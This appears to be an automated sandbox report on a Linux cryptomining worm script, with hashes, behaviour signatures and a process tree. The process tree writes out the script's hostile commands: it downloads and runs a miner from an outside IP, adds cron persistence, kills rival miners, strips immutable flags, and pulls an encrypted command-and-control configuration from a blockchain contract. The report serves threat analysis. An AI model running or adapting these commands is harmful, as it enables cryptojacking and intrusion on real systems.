Analysis
- max time kernel
149s - max time network
148s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
08/08/2026, 12:26
Static task
static1
Behavioral task
behavioral1
Sample
ca06059d5d3d81d2.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
ca06059d5d3d81d2.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
ca06059d5d3d81d2.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
ca06059d5d3d81d2.sh
Resource
debian9-mipsel-20260513-en
General
- Target ca06059d5d3d81d2.sh
- Size 70KB
- Sample260808-pmjf2sde48
- SHA256 3cf4a9e9af1a3733562dcdd74160fe1001c124878370c7bee555517f38720a6e
- MD5 9c251e7f1dae4d3e2ed07540a1390624
- SHA1 aae82d75ffee3cc6c84a592f17ffc0ca31b93533
- SHA512 c4722d1f87596af19c9fd48ee0d692bd8a9dcec81a942427d97a54bf400f6234c9ed196fcfd7627dd9800526b4c4a4e1f550e7f83a7b8a9bb0188db23764161e
- SSDEEP 1536:ot74vUzPNZiFrbnnSBkVgWtTESqzlLHIFZS95KDXeW5L:Q74v8PNM3nSSvtTESjFZSvKDXeUL
- TLSH T1BD6309D1BC25D831378A087CB9DAA6507A93193F095D3C08F04FA96C6F6C19CB17A77A
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- XMRig Miner payload 1 IoCs
resource yara_rule behavioral1/memory/1652-1-0x0000000000400000-0x0000000000c90338-memory.dmp xmrig - File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1650 chmod 1666 chmod - Executes dropped EXE 1 IoCs
ioc pid Process /usr/lib/systemd/systemd-journal-cache 1652 ionice - Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/product_name systemd-journal-cache File opened for reading /sys/devices/virtual/dmi/id/board_vendor systemd-journal-cache File opened for reading /sys/devices/virtual/dmi/id/bios_vendor systemd-journal-cache File opened for reading /sys/devices/virtual/dmi/id/sys_vendor systemd-journal-cache - Creates/modifies Cron job 1 TTPs 2 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.0JpjMI crontab File opened for modification /var/spool/cron/crontabs/tmp.oDl5gZ crontab - Enumerates running processes
Discovers information about currently running processes on the system
- Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/product_version systemd-journal-cache File opened for reading /sys/devices/virtual/dmi/id/board_version systemd-journal-cache File opened for reading /sys/devices/virtual/dmi/id/board_serial systemd-journal-cache File opened for reading /sys/devices/virtual/dmi/id/chassis_type systemd-journal-cache File opened for reading /sys/devices/virtual/dmi/id/chassis_version systemd-journal-cache File opened for reading /sys/devices/virtual/dmi/id/chassis_serial systemd-journal-cache File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag systemd-journal-cache File opened for reading /sys/devices/virtual/dmi/id/bios_date systemd-journal-cache File opened for reading /sys/devices/virtual/dmi/id/product_serial systemd-journal-cache File opened for reading /sys/devices/virtual/dmi/id/product_uuid systemd-journal-cache File opened for reading /sys/devices/virtual/dmi/id/board_name systemd-journal-cache File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag systemd-journal-cache File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor systemd-journal-cache File opened for reading /sys/devices/virtual/dmi/id/bios_version systemd-journal-cache - Removes the immutable protection flag from a file 1 TTPs 2 IoCs
Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.
pid Process 1644 chattr 1665 sed -
resource yara_rule behavioral1/files/fstream-7.dat upx - Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs
Adversaries may deobfuscate or decode files or information to evade detection mechanisms.
pid Process 1680 base64 - Changes its process name 4 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself libuv-worker 1657 systemd-journal-cache Changes the process name, possibly in an attempt to hide itself libuv-worker 1658 systemd-journal-cache Changes the process name, possibly in an attempt to hide itself libuv-worker 1659 systemd-journal-cache Changes the process name, possibly in an attempt to hide itself libuv-worker 1656 systemd-journal-cache - Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo systemd-journal-cache - Reads CPU attributes 1 TTPs 64 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/type systemd-journal-cache File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/cpu0/topology/cluster_cpus systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/shared_cpu_map systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/level systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/size systemd-journal-cache File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/id systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/size systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/cache/index9/shared_cpu_map systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/base_frequency systemd-journal-cache File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/shared_cpu_map systemd-journal-cache File opened for reading /sys/devices/system/cpu/possible systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/topology/thread_siblings systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/id systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/id systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/cache/index5/shared_cpu_map systemd-journal-cache File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/size systemd-journal-cache File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/cpu0/topology/physical_package_id systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/number_of_sets systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/cpu_capacity systemd-journal-cache File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/type systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/shared_cpu_map systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/level systemd-journal-cache File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/cpu0/cache/index6/shared_cpu_map systemd-journal-cache File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/coherency_line_size systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/level systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/coherency_line_size systemd-journal-cache File opened for reading /sys/devices/system/cpu/online systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/topology/die_cpus systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/topology/core_siblings systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/physical_line_partition systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/type systemd-journal-cache File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/cpu0/topology/core_id systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/shared_cpu_map systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/number_of_sets systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/type systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/id systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/number_of_sets systemd-journal-cache File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/level systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/physical_line_partition systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/cache/index4/shared_cpu_map systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/cache/index7/shared_cpu_map systemd-journal-cache File opened for reading /sys/devices/system/cpu/cpu0/cache/index8/shared_cpu_map systemd-journal-cache File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/coherency_line_size systemd-journal-cache File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/physical_line_partition systemd-journal-cache - Enumerates kernel/hardware configuration 1 TTPs 25 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/devices/system/cpu systemd-journal-cache File opened for reading /sys/devices/cpu_atom/cpus systemd-journal-cache File opened for reading /sys/devices/cpu_core/cpus systemd-journal-cache File opened for reading /sys/devices/cpu_lowpower/cpus systemd-journal-cache File opened for reading /sys/kernel/mm/hugepages systemd-journal-cache File opened for reading /sys/devices/system/node/node0/cpumap systemd-journal-cache File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages systemd-journal-cache File opened for reading /sys/bus/dax/devices systemd-journal-cache File opened for reading /sys/devices/system/node/node0/access1/initiators systemd-journal-cache File opened for reading /sys/devices/system/node/node0/access0/initiators/read_bandwidth systemd-journal-cache File opened for reading /sys/devices/virtual/dmi/id systemd-journal-cache File opened for reading /sys/firmware/dmi/tables/smbios_entry_point systemd-journal-cache File opened for reading /sys/firmware/dmi/tables/DMI systemd-journal-cache File opened for reading /sys/bus/soc/devices systemd-journal-cache File opened for reading /sys/fs/cgroup/cpuset/cpuset.cpus systemd-journal-cache File opened for reading /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages systemd-journal-cache File opened for reading /sys/devices/system/node/node0/meminfo systemd-journal-cache File opened for reading /sys/devices/system/node/node0/hugepages systemd-journal-cache File opened for reading /sys/devices/system/node/node0/access0/initiators/write_bandwidth systemd-journal-cache File opened for reading /sys/devices/system/node/node0/access0/initiators/read_latency systemd-journal-cache File opened for reading /sys/devices/system/node/online systemd-journal-cache File opened for reading /sys/devices/system/node/node0/access0/initiators systemd-journal-cache File opened for reading /sys/devices/system/node/node0/access0/initiators/write_latency systemd-journal-cache File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/free_hugepages systemd-journal-cache File opened for reading /sys/fs/cgroup/cpuset/cpuset.mems systemd-journal-cache -
description ioc Process File opened for reading /proc/471/status pkill File opened for reading /proc/157/cmdline pkill File opened for reading /proc/1118/cmdline pkill File opened for reading /proc/466/cmdline pkill File opened for reading /proc/172/cmdline pkill File opened for reading /proc/689/cmdline pkill File opened for reading /proc/471/cmdline pgrep File opened for reading /proc/461/cmdline pkill File opened for reading /proc/23/cmdline pkill File opened for reading /proc/22/cmdline pkill File opened for reading /proc/78/status pkill File opened for reading /proc/461/cmdline pkill File opened for reading /proc/466/cmdline pkill File opened for reading /proc/7/status pkill File opened for reading /proc/332/cmdline pgrep File opened for reading /proc/27/status pkill File opened for reading /proc/89/cmdline pkill File opened for reading /proc/1199/cmdline pkill File opened for reading /proc/115/cmdline pkill File opened for reading /proc/464/cmdline pkill File opened for reading /proc/25/cmdline pgrep File opened for reading /proc/86/cmdline pgrep File opened for reading /proc/689/status pgrep File opened for reading /proc/1042/cmdline pkill File opened for reading /proc/948/cmdline pgrep File opened for reading /proc/1536/status pgrep File opened for reading /proc/1072/cmdline pgrep File opened for reading /proc/1148/cmdline pgrep File opened for reading /proc/424/cmdline pkill File opened for reading /proc/1472/status pkill File opened for reading /proc/1536/cmdline pkill File opened for reading /proc/1104/cmdline pgrep File opened for reading /proc/7/cmdline pgrep File opened for reading /proc/176/status pkill File opened for reading /proc/25/status pkill File opened for reading /proc/667/cmdline pkill File opened for reading /proc/464/cmdline pkill File opened for reading /proc/158/cmdline pkill File opened for reading /proc/9/cmdline pgrep File opened for reading /proc/171/cmdline pgrep File opened for reading /proc/meminfo systemd-journal-cache File opened for reading /proc/158/cmdline pkill File opened for reading /proc/14/status pkill File opened for reading /proc/948/status pkill File opened for reading /proc/1199/cmdline pkill File opened for reading /proc/173/cmdline pkill File opened for reading /proc/1098/cmdline pkill File opened for reading /proc/22/cmdline pkill File opened for reading /proc/163/status pkill File opened for reading /proc/159/cmdline pkill File opened for reading /proc/450/cmdline pkill File opened for reading /proc/98/status pkill File opened for reading /proc/8/status pkill File opened for reading /proc/19/status pkill File opened for reading /proc/541/cmdline pkill File opened for reading /proc/25/status pkill File opened for reading /proc/689/status pkill File opened for reading /proc/7/cmdline pkill File opened for reading /proc/9/status pkill File opened for reading /proc/541/status pkill File opened for reading /proc/1113/cmdline pkill File opened for reading /proc/1148/cmdline pkill File opened for reading /proc/172/status pgrep File opened for reading /proc/1108/status pgrep - Writes file to shm directory 1 IoCs
Malware can drop malicious files in the shm directory which will run directly from RAM.
description ioc Process File opened for modification /dev/shm/.systemd-journal-cache cp
Processes
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/tmp/ca06059d5d3d81d2.sh/tmp/ca06059d5d3d81d2.sh1⤵PID:1504
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/usr/bin/trtr 0123456789abcdef fedcba98765432102⤵PID:1507
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/usr/bin/cutcut -c1-82⤵PID:1510
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/bin/hostnamehostname2⤵PID:1509
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/bin/catcat /etc/machine-id2⤵PID:1511
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/usr/bin/cutcut -c1-82⤵PID:1515
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/usr/bin/md5summd5sum2⤵PID:1514
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/usr/bin/idid -u2⤵PID:1516
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/bin/mkdirmkdir -p /var/tmp/.cache2⤵PID:1517
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/usr/bin/cutcut -c1-22⤵PID:1520
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/bin/sedsed "s/^/0x/"2⤵PID:1521
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/bin/mkdirmkdir -p /var/tmp/.cache2⤵PID:1522
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/usr/bin/curlcurl -s --connect-timeout 5 --max-time 10 -X POST https://mainnet.base.org -H "Content-Type: application/json" -d "{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{\"to\":\"0xF6a766de5Cc7B3f9439c850De2B1faE82Ed053F0\",\"data\":\"0x6d4ce63c\"},\"latest\"],\"id\":1}"2⤵PID:1525
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/bin/sedsed "s/^0x//"2⤵PID:1535
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/usr/bin/cutcut "-d\"" -f42⤵PID:1534
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/bin/grepgrep -o "\"result\":\"[^\"]*\""2⤵PID:1533
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/bin/sedsed "s/0*\$//"2⤵PID:1540
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/usr/bin/cutcut -c129-2⤵PID:1539
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/usr/bin/xxdxxd -r -p2⤵PID:1542
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/usr/bin/opensslopenssl enc -aes-256-cbc -d -a -A -pbkdf2 -pass pass:5fd9f37bb223c166230b73ca4cc54764db037fa9a2fe8b82aae34cbd898e72592⤵PID:1545
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/bin/grepgrep -q "\"c2\""2⤵PID:1550
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/usr/bin/trtr -d " \\t\\r\\n"2⤵PID:1553
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/usr/bin/cutcut "-d\"" -f42⤵PID:1557
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/bin/grepgrep -o "\"c2\":\"[^\"]*\""2⤵PID:1556
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/usr/bin/cutcut "-d\"" -f42⤵PID:1561
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/bin/grepgrep -o "\"wallet\":\"[^\"]*\""2⤵PID:1560
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/usr/bin/cutcut "-d\"" -f42⤵PID:1565
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/bin/grepgrep -o "\"pool\":\"[^\"]*\""2⤵PID:1564
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/usr/bin/cutcut "-d\"" -f42⤵PID:1569
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/bin/grepgrep -o "\"bin\":\"[^\"]*\""2⤵PID:1568
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/usr/bin/cutcut "-d\"" -f42⤵PID:1573
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/bin/grepgrep -o "\"bin_arm\":\"[^\"]*\""2⤵PID:1572
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/usr/bin/cutcut -d: -f22⤵PID:1577
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/bin/grepgrep -o "\"kill\":[a-z]*"2⤵PID:1576
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/usr/bin/cutcut -d: -f22⤵PID:1581
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/bin/grepgrep -o "\"tls\":[a-z]*"2⤵PID:1580
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/usr/bin/cutcut -d: -f22⤵PID:1585
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/bin/grepgrep -o "\"threads\":[0-9]*"2⤵PID:1584
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/bin/grepgrep -q "\"debug\":true"2⤵PID:1587
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/usr/bin/trtr "," " "2⤵PID:1593
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/usr/bin/trtr -d "]\""2⤵PID:1592
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/usr/bin/cutcut "-d[" -f22⤵PID:1591
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/bin/grepgrep -o "\"c2s\":\\[[^]]*\\]"2⤵PID:1590
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/usr/bin/trtr "," " "2⤵PID:1599
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/usr/bin/trtr -d "]\""2⤵PID:1598
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/usr/bin/cutcut "-d[" -f22⤵PID:1597
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/bin/grepgrep -o "\"pools\":\\[[^]]*\\]"2⤵PID:1596
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/usr/bin/trtr "," " "2⤵PID:1605
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/usr/bin/trtr -d "]\""2⤵PID:1604
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/usr/bin/cutcut "-d[" -f22⤵PID:1603
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/bin/grepgrep -o "\"worm\":\\[[^]]*\\]"2⤵PID:1602
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/usr/bin/cutcut -d: -f22⤵PID:1609
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/bin/grepgrep -o "\"wormver\":[0-9]*"2⤵PID:1608
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/bin/grepgrep -q "\"clean\":true"2⤵PID:1611
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/usr/bin/pkillpkill -9 -f xmrig2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1612
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/usr/bin/pkillpkill -9 -f minerd2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1613
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/usr/bin/pkillpkill -9 -f kinsing2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1614
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/usr/bin/pkillpkill -9 -f kdevtmpfsi2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1615
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/usr/bin/pkillpkill -9 -f solrd2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1616
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/usr/bin/pkillpkill -9 -f ld-musl2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1617
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/usr/bin/pkillpkill -9 -f networkmanager-daemon2⤵
- Reads CPU attributes
PID:1618
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/usr/bin/pkillpkill -9 -f dbused2⤵
- Reads CPU attributes
PID:1619
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/usr/bin/pkillpkill -9 -f dbus-daemon-x2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1620
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/usr/bin/pkillpkill -9 -f watchdog-service2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1621
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/usr/bin/pkillpkill -9 -f .sshd22⤵
- Reads CPU attributes
- Reads runtime system information
PID:1622
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/usr/bin/pkillpkill -9 -f .X11-unix2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1624
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/usr/bin/pkillpkill -9 -f kernd2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1625
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/bin/grepgrep -vE "kinsing|kdevtmpfsi|solrd|\\.X11-unix|minerd|xmrig|crypto"2⤵PID:1627
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/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1628
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/usr/bin/crontabcrontab -l2⤵PID:1626
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/bin/unameuname -m2⤵PID:1630
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/bin/unameuname -m2⤵PID:1631
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/usr/bin/cutcut "-d " -f12⤵PID:1636
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/usr/bin/md5summd5sum2⤵PID:1635
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/bin/catcat /usr/lib/systemd/.systemd-journal-cache.md52⤵PID:1637
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/usr/bin/pgreppgrep -f "/var/tmp/.*_rt"2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1638
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/usr/bin/pgreppgrep -f "/dev/shm/.*_rt"2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1639
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/usr/bin/pgreppgrep -f sys_defend2⤵
- Reads CPU attributes
PID:1640
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/usr/bin/pgreppgrep -f "^/usr/lib/systemd/systemd-journal-cache"2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1641
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/usr/bin/pkillpkill -f "^/usr/lib/systemd/systemd-journal-cache"2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1642
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/bin/sleepsleep 12⤵PID:1643
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/usr/bin/chattrchattr -i /usr/lib/systemd/systemd-journal-cache /dev/shm/.systemd-journal-cache /usr/lib/systemd/.systemd-journal-cache.conf /usr/lib/systemd/.systemd-journal-cache.md52⤵
- Removes the immutable protection flag from a file
PID:1644
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/usr/bin/timeouttimeout 5 nc -zw3 104.194.140.150 4432⤵PID:1645
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/usr/local/sbin/ncnc -zw3 104.194.140.150 4433⤵PID:1646
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/usr/local/bin/ncnc -zw3 104.194.140.150 4433⤵PID:1646
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/usr/sbin/ncnc -zw3 104.194.140.150 4433⤵PID:1646
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/usr/bin/ncnc -zw3 104.194.140.150 4433⤵PID:1646
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/sbin/ncnc -zw3 104.194.140.150 4433⤵PID:1646
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/bin/ncnc -zw3 104.194.140.150 4433⤵PID:1646
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/usr/bin/python3python3 -c "import os;os.memfd_create(\"x\")"2⤵PID:1647
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/bin/rmrm -f /var/tmp/.cache/.memfd2⤵PID:1648
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/usr/bin/curlcurl -so /usr/lib/systemd/systemd-journal-cache -fSL --connect-timeout 8 --max-time 60 http://104.194.140.150:8080/54ac4810b1d01207/libprocmon.so2⤵PID:1649
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/bin/chmodchmod +x /usr/lib/systemd/systemd-journal-cache2⤵
- File and Directory Permissions Modification
PID:1650
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/bin/cpcp /usr/lib/systemd/systemd-journal-cache /dev/shm/.systemd-journal-cache2⤵
- Writes file to shm directory
PID:1651
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/usr/bin/nicenice -n 19 ionice -c 3 /usr/lib/systemd/systemd-journal-cache -c /usr/lib/systemd/.systemd-journal-cache.conf -B2⤵PID:1652
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/usr/local/sbin/ioniceionice -c 3 /usr/lib/systemd/systemd-journal-cache -c /usr/lib/systemd/.systemd-journal-cache.conf -B2⤵PID:1652
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/usr/local/bin/ioniceionice -c 3 /usr/lib/systemd/systemd-journal-cache -c /usr/lib/systemd/.systemd-journal-cache.conf -B2⤵PID:1652
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/usr/sbin/ioniceionice -c 3 /usr/lib/systemd/systemd-journal-cache -c /usr/lib/systemd/.systemd-journal-cache.conf -B2⤵PID:1652
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/usr/bin/ioniceionice -c 3 /usr/lib/systemd/systemd-journal-cache -c /usr/lib/systemd/.systemd-journal-cache.conf -B2⤵
- Executes dropped EXE
PID:1652
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/usr/lib/systemd/systemd-journal-cache/usr/lib/systemd/systemd-journal-cache -c /usr/lib/systemd/.systemd-journal-cache.conf -B2⤵
- Checks hardware identifiers (DMI)
- Reads hardware information
- Changes its process name
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:1652
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/usr/bin/pgreppgrep -f "^/usr/lib/systemd/systemd-journal-cache"2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1660
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/usr/bin/headhead -12⤵PID:1661
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/bin/catcat2⤵PID:1663
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/bin/sedsed -i "s|__DR__|/var/tmp/.cache|g;s|__BN__|systemd-journal-cache|g;s|__BCT__|0xF6a766de5Cc7B3f9439c850De2B1faE82Ed053F0|g;s|__AK__|a0260c844ddc3e99dcf48c35b33ab89b24fc80565d01747d551cb34276718da6|g;s|__RS__|https://mainnet.base.org https://base-rpc.publicnode.com https://base.meowrpc.com https://1rpc.io/base https://base.drpc.org|g;s|__MK__|kv52566a884|g;s|__T__|/usr/lib/systemd/systemd-journal-cache|g;s|__T2__|/dev/shm/.systemd-journal-cache|g;s|__CFG__|/usr/lib/systemd/.systemd-journal-cache.conf|g;s|__CFGMD5__|/usr/lib/systemd/.systemd-journal-cache.md5|g;s|__VF__|/var/tmp/.cache/.2566a884.cv|g;s|__WORMVER__|9|g;s|__WU__|http://104.194.140.150:8080/54ac4810b1d01207/ca06059d5d3d81d2.sh|g" /usr/lib/systemd/.systemd-journal-cache.sh2⤵
- Removes the immutable protection flag from a file
PID:1665
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/bin/chmodchmod +x /usr/lib/systemd/.systemd-journal-cache.sh2⤵
- File and Directory Permissions Modification
PID:1666
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/usr/bin/idid -u2⤵PID:1667
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/bin/grepgrep -qaE "docker|kubepods|containerd|lxc|podman" /proc/1/cgroup2⤵PID:1668
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/bin/catcat /proc/1/comm2⤵PID:1669
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/usr/bin/crontabcrontab -l2⤵PID:1670
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/bin/grepgrep -qF "37-59/3 * * * * /usr/lib/systemd/.systemd-journal-cache.sh >/dev/null 2>&1"2⤵PID:1672
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/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1674
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/bin/sedsed "s|\$|ca06059d5d3d81d2.sh|"2⤵PID:1678
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/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
PID:1680
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/usr/bin/crontabcrontab -l2⤵PID:1681
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/bin/rmrm -f /var/tmp/.cache/.2566a884.pid2⤵PID:1682
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Network
MITRE ATT&CK Enterprise v16
Defense Evasion
Deobfuscate/Decode Files or Information
1File and Directory Permissions Modification
2Linux and Mac File and Directory Permissions Modification
2Virtualization/Sandbox Evasion
2System Checks
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path /usr/lib/systemd/sedFXTQm0
- Size 8KB
- SHA256 faee693d6be53ab6e57d26d04231a67b67eb5156f637dbc3eb86875207017f38
- MD5 6f189ed7a67b6040146531b9a05b1018
- SHA1 ef912fa2f1903587848a9956045ace5a2b3a7025
- SHA512 7822b7db887be4257d8cf605eed48ed11be17295ba2636c070f902f12a6de4f7905c8abdf52eea9101ee721d5aefed060a15aa49cde2ee42b63dd9f8b1625d9f
- SSDEEP 192:bH6MvC7pjvuhzannSjH8YnWaumPus1GWi+L1VJe2LyqkbpfuJZUmavmws:jR67A1Ccb3X1V78Rg
- TLSH T1900230F7BC24CC313A8A087CB5D9B6905983157F0563BA15704FA42D2FBC1A9B16CB3A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /usr/lib/systemd/systemd-journal-cache
- Size 2.4MB
- SHA256 27dc3ff88f2b012dea3fd86f82fbed99d3a7961c49873a7c87d61df6d7c7bab5
- MD5 9c42fe89834982825f6375df35fda98b
- SHA1 1d0096ecd1946d5d145587f9cc692c50e0fd530a
- SHA512 82061deb024a957dfe2d7c7a08782abcbe8dc50636779744b7f8d4624be4665d207eb143246d25b0931f3fb6e29ded2ffd8ed38a2cdffcb802f8aa4d5b673f00
- SSDEEP 49152:RpWXqDrXZOcR9BK4ELk2iwjzy/C5mzCnOz8j+zJE/5ObkmPy/Baxnbd:7DbZOcRCxYwjzyvCI8j+zje5Gbd
- TLSH T18DB533279ADC5C52CB1D68CD8E1EA54F5EE2FCE6348A132FE2D5E54489260828FF1C5C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /var/spool/cron/crontabs/tmp.0JpjMI
- Size 175B
- SHA256 9d409f9d7f46b52ebc681bee68def726a78d953280bae3d137f623231714ed38
- MD5 b10dc4cb2180eb04754a7ce5a44ec856
- SHA1 200adc5b080c9e07b0c35d1634cec5e8d21d81fe
- SHA512 190cb672a70d726bf9d32bc8bc6958cb3db0d78f13a03f5e87dc57b7bf71881b30ed7da12ebd67289f11890705eac9e62c44ba02bd7ad0a0706770f818750a63
- TLSH T1C6C08C1E3F2069306E455B49626B0A2EFDD2E07DC00EFE91E2EE10181316BDD6F959B2
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.oDl5gZ
- Size 264B
- SHA256 3b9573bd19a4b08b6083a76a5be70a0399557f30f0e352b1939a3b045353d4cf
- MD5 33efe4dc90f4cc5cf59841e894444419
- SHA1 626d25aa2c1ee0f9926c0ccf94fec81c4fec10b1
- SHA512 fed21f54ca21201bd55bafa4c24db92c8ac8c118129658c9b7edfb605210f3a35511fdfb7dfb0d5a93e6b2eebbc37c5de5246efd3ff5b56130d4e23f8b687a08
- TLSH T10AD0973F2B106D3039062F45550A040DECE2F53E901DFE40D1CD2014934ABEF1B50C31
- MD5 SHA1 SHA512 TLSH
- Path /var/tmp/.cache/.2566a884.pid
- Size 5B
- SHA256 81afbd0eda68593a58c755fdb2a0306397292674707aeefaf10b0a5696cff0f1
- MD5 5601974284e7d2d5462ca929df17ab71
- SHA1 af6b6e520f6b9325a195c7110ba0a49db582d58f
- SHA512 c06dc6c9bfb248144b8eaf7d3182682ddb51498ad82465f363a8a784259544e185326f5bcc1d5e4275e101ff800099df51ad02ab8a317df74c96b983064735b0
- MD5 SHA1 SHA512
- Path /var/tmp/.cache/.cloak
- Size 39B
- SHA256 2d687035804bd446399d950bf77dea5258815cf481f31b34c8f96ad6913ff8c8
- MD5 61bed6fc00f621ccc364a638e1e7589c
- SHA1 a55a661264b4e2bea9e02d92f037b28a8538c9b4
- SHA512 dfdb3a6f48c2b7c53918d4166de36dc0378047b651610c6a5da67dc1644e840d04254ea2e38089e71d4a4be5368354213ecd23ce64f8abfc456f049f58a8e7d2
- MD5 SHA1 SHA512